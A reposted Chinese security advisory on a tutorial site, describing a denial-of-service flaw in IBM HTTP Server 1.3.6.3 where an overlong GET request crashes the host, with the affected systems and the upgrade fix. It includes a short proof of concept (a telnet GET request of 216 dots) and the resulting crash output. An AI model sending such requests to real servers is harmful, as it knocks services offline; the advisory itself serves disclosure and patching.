当前位置: 首页 > 图文教程 > 网络编程 > JSP > 通过提交超长的GET请求导致IBM HTTP Server远程溢出

JSP
Taglib原理和实现 第六章:标签内常用方法总结
用web_xml控制Web应用的行为(下)转贴
用Servlet实现下载
再论Session事件的捕获
Javascript传递中文出现乱码问题
JSP作为客户方访问CORBA服务对象
JSF(JavaServer Faces) 介绍
exception 隐含对象
ServletConfig和ServletConfig参数访问.
正确优雅的解决用户退出问题??JSP和Struts解决方案
JSP的9种基本内置组件
JSP处女作:commons-fileupload-1.0.jar + Oracle数据库文件上传
如何给jpg图片添加水印
利用Ant和XDoclet自动产生映射文件例子
Servlet设计
用servlet显示图片
Web应用中避免Form重复提交的三种方案
Web开发学习笔记
Servlet、Jsp性能优化
用Javascript实现Agent(网页精灵)(1)

JSP 中的 通过提交超长的GET请求导致IBM HTTP Server远程溢出


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 29 ::
收藏到网摘: n/a

涉及程序:
GET

描述:
通过提交超长的GET请求导致IBM HTTP Server远程溢出


详细:
IBM 的 HTTP 服务器是一个 web 服务器。在 Windows NT 使用的版本中存在拒绝服务的漏洞。

如果提交一个超过219个字符的 GET 请求,将导致服务器停止响应,并报错。要恢复服务正常工作需要重新启动应用程序。成功的利用该漏洞,攻击者可在受害的主机上执行任何代码。(但这还未得到完全证实。)


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


$ telnet target 80
GET /......(216个".")aaa HTTP/1.0

则系统会报告下列错误信息:
***STOP:0x0000001e(0X00000005,0X804B3A51,0X00000000,0X00000000)KMODE_EXCEPTI
ON_NOT_HANDLED.
***Address 804B3A51 base at 80400000,Datastamp 384D9B17-ntoskrnl.exe
注意:目标主机运行在Windows 2000下。

受影响的系统
IBM HTTP Server 1.3.6.3
- TurboLinux Turbo Linux 3.0.1
- Sun Solaris 2.6
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.0 sparc
- RedHat Linux 5.2 sparc
- Microsoft Windows NT 4.0
- IBM AIX 4.2.1
- Caldera OpenLinux 2.2

解决方案:
IBM 已经在 1.3.12 版本中解决了此问题,下载地址:
http://www-4.ibm.com/software/webservers/httpservers/download.html